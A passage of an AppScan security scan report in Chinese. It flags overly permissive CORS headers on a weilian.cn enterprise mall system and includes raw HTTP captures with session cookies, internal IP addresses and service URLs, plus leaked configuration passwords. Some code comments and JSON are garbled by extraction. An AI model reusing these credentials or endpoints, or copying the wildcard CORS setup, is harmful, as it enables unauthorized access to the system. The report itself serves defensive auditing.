User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
\texttt{Cookie: enterpriseLevel=1; enterpriseCode=SUNEEE; sessionId=ff1d64918bd06bf341f084828da4d7d4;}
enterpriseId=55; account=setest02
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:24:53 GMT
Content-Type: application/json;charset=utf-8
Transfer-Encoding: chunked
 "data": [
                [
                         "title": "
                                          资产管理",
                         "iconClass": "gi gi-shopping_bag",
                         "url": "#",
                         "subMenu": [
                                         "title": " 资产信息",
```

```
"iconClass": "",
                                                  "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goods.html",
                                                  "subMenu": null,
                                                  "settings": {
                                                            "table": {
                                                            "search": "true",
                                                            "add": "true",
"edit": "true",
                                                           "del": "true",
"batchedit": "false",
                                                           "audit": "false",
"tools": "false",
"batchdel": "false",
                                                            "seniorSearch": "false",
                                                            "detail": "false",
                                                            "importIn": "true",
                                                            "export": "true",
                                                            "auth": "false",
"batchsearch": "false"
                                                            "form": null
                                                  "version": null,
                                                  "publishTime": null,
                                                  "orderNum": null,
                                                  "menuId": 19,
                                                  "iframe": "false"
                                                  "title": "    资产分类",
"iconClass": "",
                                                  "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goodsclasslist.html",
                                                  "subMenu": null,
                                                  "settings": {
                                                            "table": {
                                                            "search": "true",
                                                            "add": "true",
                                                            "edit": "true",
                                                            "del": "true",
                                                            "batchedit": "false",
                                                            "audit": "false",
"tools": "false",
                                                            "batchdel": "false",
                                                            "seniorSearch": "false",
                                                           "detail": "false",
"importIn": "false",
"export": "false",
"auth": "false",
"batchsearch": "false"
                                                            "form": null
                                                  "version": null,
                                                  "publishTime": null,
                                                  "orderNum": null,
                                                  "menuId": 47,
                                                  "iframe": "false"
                                                  "title": " 分类查询资产",
"iconClass": "",
                                                  "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goodstree.html",
                                                  "subMenu": null,
                                                  "settings": {
                                                            "table": {
                                                            "search": "true",
                                                            "add": "true",
                                                            "edit": "true",
                                                            "del": "true",
"batchedit": "false",
                                                            "audit": "false",
"tools": "false",
                                                            "batchdel": "false",
                                                            "seniorSearch": "false",
                                                            "detail": "false",
```

```
"importIn": "false",
"export": "false",
                                                           "auth": "false",
"batchsearch": "false"
                                                           "form": null
                                                  "version": null,
                                                  "publishTime": null,
                                                  "orderNum": null,
                                                  "menuId": 35277,
                                                 "iframe": "false"
                                                  "title": "
                                                                     上下架管理",
                                                  "iconClass": "",
                                                 "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goodscontrolList.html",
                                                 "subMenu": null,
                                                  "settings": {
                                                           "table": {
                                                           "search": "true",
                                                           "add": "true",
                                                           "edit": "false",
                                                           "del": "true",
"batchedit": "false",
                                                           "audit": "false",
"tools": "false",
                                                           "batchdel": "false",
                                                           "seniorSearch": "true",
                                                           "detail": "false",
"importIn": "true",
                                                           "export": "true",
                                                           "auth": "false",
"batchsearch": "false"
                                                           "form": null
                                                  "version": null,
                                                  "publishTime": null,
                                                  "orderNum": null,
                                                  "menuId": 35034,
                                                 "iframe": "false"
                                                 riconClass": "",
""",
                                                  "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goodsStockQueryReportList.html",
                                                  "subMenu": null,
                                                  "settings": {
                                                           "table": {
                                                           "search": "false",
                                                           "add": "false",
"edit": "false",
                                                           "del": "false",
                                                           "batchedit": "false",
                                                           "audit": "false",
"tools": "false",
"batchdel": "false",
                                                           "seniorSearch": "false",
                                                           "detail": "false",
                                                           "importIn": "false",
"export": "false",
                                                           "auth": "false",
"batchsearch": "false"
                                                           "form": null
                                                  "version": null,
                                                  "publishTime": nul
. . .
```

变体-|2/3

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /user/getUserRealMenuList HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseLevel=1; enterpriseCode=SUNEEE; sessionId=ee7290de32e02a6f31d21e51ab01d02b;
enterpriseId=55; account=setest01
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:24:59 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
{
  "data": [
                          "title": "
                                           资产管理",
                          "iconClass": "gi gi-shopping_bag",
                          "url": "#",
                          "subMenu": [
                                          citle": " 资产信息",
"iconClass": "",
                                           "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goods.html",
                                           "subMenu": null,
                                           "settings": {
                                                   "table": {
                                                   "search": "true",
                                                   "add": "true",
                                                   "edit": "true",
                                                   "del": "true",
"batchedit": "false",
                                                   "audit": "false",
"tools": "false",
                                                   "batchdel": "false",
                                                   "seniorSearch": "false",
                                                   "detail": "false",
                                                   "importIn": "true",
                                                   "export": "true",
                                                   "auth": "false",
                                                   "batchsearch": "false"
                                                   "form": null
                                           "version": null,
                                           "publishTime": null,
                                           "orderNum": null,
                                           "menuId": 19,
                                           "iframe": "false"
```

```
"title": " 资产分类",
                                               "iconClass": "",
                                               "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goodsclasslist.html",
                                               "subMenu": null,
                                               "settings": {
                                                        "table": {
                                                        "search": "true",
                                                        "add": "true",
                                                        "edit": "true",
                                                        "del": "true",
                                                        "batchedit": "false",
                                                        "audit": "false",
"tools": "false",
                                                        "batchdel": "false",
                                                        "seniorSearch": "false",
                                                        "detail": "false",
"importIn": "false",
                                                        "export": "false",
                                                        "auth": "false",
                                                        "batchsearch": "false"
                                                        "form": null
                                               "version": null,
                                               "publishTime": null,
                                               "orderNum": null,
                                               "menuId": 47,
                                              "iframe": "false"
                                             "title": "
    """
                                              "title": " 分类查询资产", ""conclass": "",
                                               "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goodstree.html",
                                               "subMenu": null,
                                               "settings": {
                                                        "table": {
                                                        "search": "true",
                                                        "add": "true",
"edit": "true",
                                                        "del": "true",
"batchedit": "false",
                                                        "audit": "false",
"tools": "false",
"batchdel": "false",
                                                        "seniorSearch": "false",
                                                        "detail": "false",
                                                        "importIn": "false",
                                                        "export": "false",
                                                        "auth": "false",
                                                        "batchsearch": "false"
                                                        "form": null
                                               "version": null,
                                               "publishTime": null,
                                               "orderNum": null,
                                               "menuId": 35277,
                                              "iframe": "false"
                                              "title": " 上下架管理",
"iconClass": "",
                                               "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goodscontrolList.html",
                                               "subMenu": null,
                                               "settings": {
                                                        "table": {
                                                        "search": "true",
                                                        "add": "true",
                                                        "edit": "false",
                                                        "del": "true",
"batchedit": "false",
                                                        "audit": "false",
"tools": "false",
                                                        "batchdel": "false",
                                                        "seniorSearch": "true",
```

```
"detail": "false",
                                                   "importIn": "true",
                                                  "export": "true",
                                                   "auth": "false",
                                                  "batchsearch": "false"
                                                   "form": null
                                          "version": null,
                                          "publishTime": null,
                                          "orderNum": null,
                                          "menuId": 35034,
                                          "iframe": "false"
                                          "title": "
                                                          库存管理",
                                          "iconClass": "",
                                          "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goodsStockQueryReportList.html",
                                          "subMenu": null,
                                          "settings": {
                                                   "table": {
                                                  "search": "false",
                                                  "add": "false",
                                                  "edit": "false",
                                                  "del": "false",
                                                  "batchedit": "false",
                                                  "audit": "false",
                                                  "tools": "false",
                                                  "batchdel": "false",
                                                  "seniorSearch": "false",
                                                  "detail": "false",
                                                  "importIn": "false",
                                                  "export": "false",
                                                  "auth": "false",
                                                  "batchsearch": "false"
                                                  "form": null
                                          "version": null,
                                          "publishTime": nul
. . .
```

变体-|3/3

差异: cookie 已从请求除去: 20687a7693972426b8692099c6af15d7

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /user/getUserRealMenuList HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseLevel=1; enterpriseCode=SUNEEE; enterpriseId=55; account=setest01
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
```

```
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:24:59 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
{
  "data": [
                             "title": "
                                               资产管理",
                             "iconClass": "gi gi-shopping_bag",
                             "url": "#",
                             "subMenu": [
                                               title": " 资产信息",
"iconClass": "",
                                               "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goods.html",
                                               "subMenu": null,
                                               "settings": {
                                                         "table": {
                                                         "search": "true",
                                                        "add": "true",
                                                        "edit": "true",
                                                        "del": "true",
"batchedit": "false",
                                                        "audit": "false",
"tools": "false",
                                                         "batchdel": "false",
                                                         "seniorSearch": "false",
                                                        "detail": "false",
"importIn": "true",
                                                         "export": "true",
                                                         "auth": "false",
                                                         "batchsearch": "false"
                                                         "form": null
                                               "version": null,
                                               "publishTime": null,
                                               "orderNum": null,
                                               "menuId": 19,
                                               "iframe": "false"
                                              "title": "
                                               citle": " 资产分类", "iconClass": "",
                                               "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goodsclasslist.html",
                                               "subMenu": null,
                                               "settings": {
                                                         "table": {
                                                         "search": "true",
                                                        "add": "true",
"edit": "true",
                                                        "del": "true",
"batchedit": "false",
                                                        "audit": "false",
"tools": "false",
"batchdel": "false",
                                                         "seniorSearch": "false",
                                                         "detail": "false",
                                                         "importIn": "false",
                                                         "export": "false",
                                                        "auth": "false",
"batchsearch": "false"
                                                         "form": null
                                               "version": null,
                                               "publishTime": null,
                                               "orderNum": null,
                                               "menuId": 47,
                                               "iframe": "false"
```

```
"title": " 分类查询资产",
                                             "iconClass": "",
                                              "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goodstree.html",
                                              "subMenu": null,
                                              "settings": {
                                                       "table": {
                                                       "search": "true",
                                                       "add": "true",
                                                       "edit": "true",
                                                       "del": "true",
                                                       "batchedit": "false",
                                                      "audit": "false",
"tools": "false",
                                                       "batchdel": "false",
                                                       "seniorSearch": "false",
                                                      "detail": "false",
"importIn": "false",
                                                       "export": "false",
                                                       "auth": "false",
                                                       "batchsearch": "false"
                                                       "form": null
                                              "version": null,
                                              "publishTime": null,
                                              "orderNum": null,
                                             "menuId": 35277,
                                             "iframe": "false"
                                            "title": "
    """
                                             "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goodscontrolList.html",
                                              "subMenu": null,
                                              "settings": {
                                                       "table": {
                                                       "search": "true",
                                                      "add": "true",
"edit": "false",
                                                      "del": "true",
"batchedit": "false",
                                                      "audit": "false",
"tools": "false",
"batchdel": "false",
                                                       "seniorSearch": "true",
                                                       "detail": "false",
                                                      "importIn": "true",
                                                       "export": "true",
                                                      "auth": "false",
                                                       "batchsearch": "false"
                                                       "form": null
                                              "version": null,
                                              "publishTime": null,
                                              "orderNum": null,
                                              "menuId": 35034,
                                             "iframe": "false"
                                             "title": " 库存管理",
"iconClass": "",
                                             "url": "http://vr-goods-rest-
enterprise.mall.xt.weilian.cn/static/goodsStockQueryReportList.html",
                                             "subMenu": null,
                                              "settings": {
                                                       "table": {
                                                       "search": "false",
                                                       "add": "false",
                                                      "edit": "false",
"del": "false",
                                                      "batchedit": "false",
                                                      "audit": "false",
"tools": "false",
                                                       "batchdel": "false",
                                                       "seniorSearch": "false",
```

问题 41 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/component_pages/modify_password.html
实体:	modify_password.html (Page)
RFM:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/component_pages/modify_password.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: text/html, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 3321
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:53 GMT
```

```
<div class="newpage-con">
  <div class="row block">
                  <div class="col-md-2"></div>
                   <form action="index.html" method="post" enctype="multipart/form-data" class="col-
md-8 form-horizontal" onsubmit="return false;">
                  <fieldset>
                                   <div class="form-group">
                                                                                                                                              请输入原密码: </label>
                                                   <label class="col-md-3 control-label" >
                                                    <div class="col-md-7">
                                                                   <input type="password" id="init password"</pre>
name="init password" class="form-control" placeholder="请输入原密码..">
                                                   </div>
                                   </div>
                                   <div class="form-group">
                                                    <label class="col-md-3 control-label" >
                                                                                                                                                   请输入新密码: </label>
                                                    <div class="col-md-7">
                                                                    <input type="password" id="new_password_1"</pre>
name="new password 1" class="form-control" placeholder="请输入新密码..">
                                                    </div>
                                   </div>
                                   <div class="form-group">
                                                    <label class="col-md-3 control-label" >
                                                                                                                                                   确认新密码: </label>
                                                    <div class="col-md-7">
input type="password" id="new_password_2"
name="new_password_2" class="form-control" placeholder="确认新密码..">
                                   </div>
                                   <div class="form-group form-actions">
                     <div class="col-md-7 col-md-offset-3">
                     <br/>
</hutton>
                    </div>
                  </fieldset>
                  <div class="col-md-2"></div>
  </div>
</div>
<script>
        $(function () {
                $("#update password").bind("click",function () {
                   updatePassword();
                });
                                 /保存修改的密码
                function updatePassword() {
                    var originalPassword=$("#init password").val();
                     var newPassword1=$("#new_password_1").val();
                     var newPassword2=$("#new password 2").val();
                     //输入校验
                     if(originalPassword==""){
                    layer.msg("请输入原密码!");
                     return;
                     if(newPassword1==""){
                     layer.msg("请输入新密码!");
                     return;
                     if(newPassword2==""){
                     layer.msg("请再次输入新密码!");
                     return;
                     if(originalPassword == newPassword1) {
                     layer.msg("新密码与原密码相同,请重新输入!");
                     if(newPassword2 != newPassword1){
                     layer.msg("密码不一致,请重新输入!");
                     return;
                     $.ajax({
                     type: "POST",
url: "/user/updateUserPassword",
                     data: {"originalPassword":originalPassword,
                     "newPassword":newPassword1
                     }.
                    dataType: "json",
```

问题 42 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ Company of the com
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/js/style.js
实体:	style.js (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/js/style.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 25369
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:53 GMT
```

```
function table(table) {
var Sys = (function(ua)
        var s = {};
        s.IE = ua.match(/msie ([\d.]+)/) ? true : false;
        s.Firefox = ua.match(/firefox)/([d.]+)/) ? true : false;
        s.IE6 = (s.IE && ([ /MSIE (\d)\.0/i.exec(navigator.userAgent) ][0][1] == 6)) ?
true
                        : false;
        s.IE7 = (s.IE \&\& ([/MSIE (\d) \.0/i.exec(navigator.userAgent) ][0][1] == 7)) ?
true
                        : false;
        s.IE8 = (s.IE \&\& ([ /MSIE (\d) \.0/i.exec(navigator.userAgent) ][0][1] == 8)) ?
true
                        : false;
        return s;
}) (navigator.userAgent.toLowerCase());
function $(Id) {
        return document.getElementById(Id);
function addListener(element, e, fn) {
        element.addEventListener ? element.addEventListener(e, fn, false)
                       : element.attachEvent("on" + e, fn);
 function removeListener(element, e, fn) {
        element.removeEventListener ? element.removeEventListener(e, fn, false)
                       : element.detachEvent("on" + e, fn);
       }
var Css = function(e, o) {
        if (typeof o == "string") {
               e.style.cssText = o;
                return;
        for ( var i in o)
                e.style[i] = o[i];
var Bind = function(object, fun) {
        var args = Array.prototype.slice.call(arguments).slice(2);
        return function() {
               return fun.apply(object, args);
};
var BindAsEventListener = function(object, fun) {
        var args = Array.prototype.slice.call(arguments).slice(2);
        return function(event) {
                return fun.apply(object, [ event || window.event ].concat(args));
};
var Extend = function(destination, source) {
        for ( var property in source) {
                destination[property] = source[property];
var Class = function(properties) {
        var _class = function() {
               return (arguments[0] !== null && this.initialize && typeof
(this.initialize) == 'function') ? this.initialize
                                .apply(this, arguments)
                               : this;
         class.prototype = properties;
        return class;
var Table = new Class(
                        initialize : function(tab, set) {
                                this.table = tab;
                                this.thead = tab.getElementsByTagName('thead')[0]; //
å, ç"çdomåç′åæç′¢å¼
                                this.theadtds = this.thead.getElementsByTagName('td'); //
                                this.rows = []; // é é¢tbodysè®°å½æætrçå¼ç
                                                          ¿éç¨æ°ç»è®°å½æ¯å 丰æ
°c>æreverseæ¹æ³,å¯ä>¥c~æ¥æ£å°,åå°
```

```
this.clos = {}; // é é¢è®°å¼ææååç′çå¼ç¨
this.edits = {}; // ç¼ è¾è;¨æ ¼çè§ååæç¤°
this.sortCol = null; // è®°å½ å°åæ£å¨æå°ä,
this.inputtd = null; // è®°å½ å°åa.ainput被ç¼è¾ä°
                                    this.closarg = {
                                             tdnum : null,
                                             totdnum : null,
                                             closmove : BindAsEventListener(this,
this.closmove),
                                             closup : BindAsEventListener(this, this.closup)
                                     }; // å
                                                   ³ä°åææ½çä¸ä°å±æ§æ¹æ³
                                     this.widtharg = {
                                             td : null,
                                             nexttd : null,
                                             x : 0
                                             tdwidth : 0,
                                             nexttdwidth : 0,
                                             widthmove : BindAsEventListener(this,
this.widthmove),
                                             widthup : BindAsEventListener(this, this.widthup)
                                    var i = 0, j = 0, d = document, rows =
tab.tBodies[0].rows, tds1 = tab.tBodies[0]
                                                      .getElementsByTagName('td'), edit = [];
                                     var divs = this.thead.getElementsByTagName('div');
                                     this.input = d.createElement('input'); // ç1/4
                                     this.input.type = "text";
                                     this.input.className = 'edit';
                                    this.img = d.body.appendChild(d.createElement('div'));
this.img.className = "cc";
                                     this.line = d.body.appendChild(d.createElement('div'));
                                     this.line.className = 'line';
                                     this.line.style.top = tab.offsetTop + "px";
                                     if (Sys.IE6) {
                                             this.checkbox = {}; // è®°å½
                                                                                   é£ä°checkbox被éä¸ä°
å¤çie6ä¸å¼å®¹çé®é¢
                                             var checkboxs =
tab.getElementsByTagName('input'), k = 0;
                                              for (var lll = checkboxs.length; k < lll; k++)
                                                      checkboxs[k].type == "checkbox"
                                                       && addListener(
                                                      checkboxs[k],
                                                       "click",
                                                      Bind
                                                      this
                                                      function(elm, k) {
                                                      elm.checked == true ? (this
```

问题 43 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/user/getModularPrefix
实体:	getModularPrefix (Page)
RFM:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/3

测试请求和响应:

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

```
GET /user/getModularPrefix HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseLevel=1; sessionId=ff1d64918bd06bf341f084828da4d7d4; enterpriseId=55;
enterpriseCode=SUNEEE; account=setest02
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; g=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:24:53 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
 "GJ LOGISTICSSTATUS URL": "http:\/\/172.19.6.150:30106\/tools\/declartion\/accept",
 "OPG_APPCODE_YN": "SUMEEE78CFCC27",
"mall_goods_host": "http:\/\vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
 "wf attributeOver": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "HG ORDER URL": "http:\/\/172.19.6.150:30106\/tools\/declartion\/accept",
 "getEmployeeList":
"http:\/\/asset.mall.xt.weilian.cn\/base\/EmployeeAPI\/qetEmployeeList",
 "wf giftid": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "empURL": "http:\/\/vr-base-rest-
\verb|enterprise.mall.xt.weilian.cn//base//EmployeeAPI//getEmployeeList"|,
 "wf_order": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/"
 "wf instockid": "http:\//vr-storage-rest-enterprise.mall.xt.weilian.cn//",
 "wholesaleUrl": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "HG PAYMENT URL": "http:\/\/172.19.6.150:30106\/tools\/declartion\/accept",
 "SYNC UC MQ PASSWORD": "password",
 "OPG QUERY PAY METHODS URL": "http:///pay.weilian.cn//payment//pay//getPaymentsType",
 "purchaseUrl": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
 "comURL": "http:\/\vr-base-rest-
enterprise.mall.xt.weilian.cn\/CompanyAPI\/getCompanyList",
```

```
"baseDvURL": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/",
 "GJ ORDER URL": "http:\/\/172.19.6.150:30106\/tools\/declartion\/accept",
 "wf attributeTurndepot": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "dictURL": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/ditionary\/List",
 "njxs mall confirm time": "7",
 "purchase web url": "http:\/\/vr-purchase-rest-
enterprise.mall.xt.weilian.cn:81\/purchase\/",
 "PC NJXS HLG": "http:\/\/system-rest-
enterprise.mall.xt.weilian.cn\/static\/component_pages\/credit.html",
 "reportformUrl": "http:\/\/test.reportform.scn.weilian.cn\/",
 "PC NJXS CJG": "http:\/\/system-rest-
enterprise.mall.xt.weilian.cn\/static\/component pages\/landscape.html",
 'reportformURL": "http:\/\/test.reportform.scn.weilian.cn\/",
 "ChinaPayAgent app code": "SUNEEE78CFCC27",
 "supplierid": "191620",
 "wf_clientfees": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "kitchenUrl": "http:\/\test.kitchen.scn.weilian.cn\/\",
 "clientUrl": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/ClientAPI\/queryClientList",
 'njxs mall erp enterpriseid": "134",
 "njxs mall erp sale host": "http:\/\/vr-sale-rest-enterprise.mall.xt.weilian.cn\/",
 "yn_mall_cancel_time": "10",
 "workflowUrl": "http:\/\/test.flw.scn.weilian.cn:81\/web-basic\/",
 "iespDepotUrl": "http:\/\/test.depot.scn.weilian.cn\/",
 "print spFnPayment": "http:\/\/test.finance.scn.weilian.cn\/printdata",
 "APP YINENG FWS": "http:\/\/vr-sale-rest-
enterprise.mall.xt.weilian.cn:81\/sale\/H5\/mobile\/yineng mobile\/fws\/index.html",
 "zysc_approval_process_admin_password": "111111",
 "wf gather": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "wf wholesale": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "uc_host": "http:\/\/uc.weilian.cn\/account_auth_admin\/",
"mall_reportform_host": "http:\/\/test.reportform.scn.weilian.cn\/",
 "wf spFnPayment": "http:\/\/test.finance.scn.weilian.cn\/",
 "iespCargoUrl": "http:\/\/test.cargo.scn.weilian.cn\/",
 "addressURL": "http:\/\vr-base-rest-
enterprise.mall.xt.weilian.cn\/AddressAPI\/getAddressChildInfo",
 "menuURL": "http:\/\/30.67.51.251:8080\/",
 "SYNC_UC_MQ_CLIENTID": "SUNEEEZYSC",
 "wf_price": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",  
 "yn_mall_url": "http:\/\/h5config-rest-enterprise.mall.xt.weilian.cn\/",  
 "product scf domain": "http:\/\/test.scf.scn.weilian.cn\/",
"APP NJXS HLG": "http:\/\/vr-sale-rest-
enterprise.mall.xt.weilian.cn:81\/sale\/H5\/mobile\/credit.html",
 "OA KFAK": "http:\/\/microservice.weilian.cn\/vr-push\/getMsg",
 "yn_mall_appcode": "XIANGPU",
 "vr purchase": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
"APP NJXS MALL": "http:\/\/test.njxs.weilia
```

变体-|2/3

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /user/getModularPrefix HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseLevel=1; sessionId=ee7290de32e02a6f3ld21e5lab01d02b; enterpriseId=55;
enterpriseCode=SUNEEE; account=setest01
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
```

```
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:24:53 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
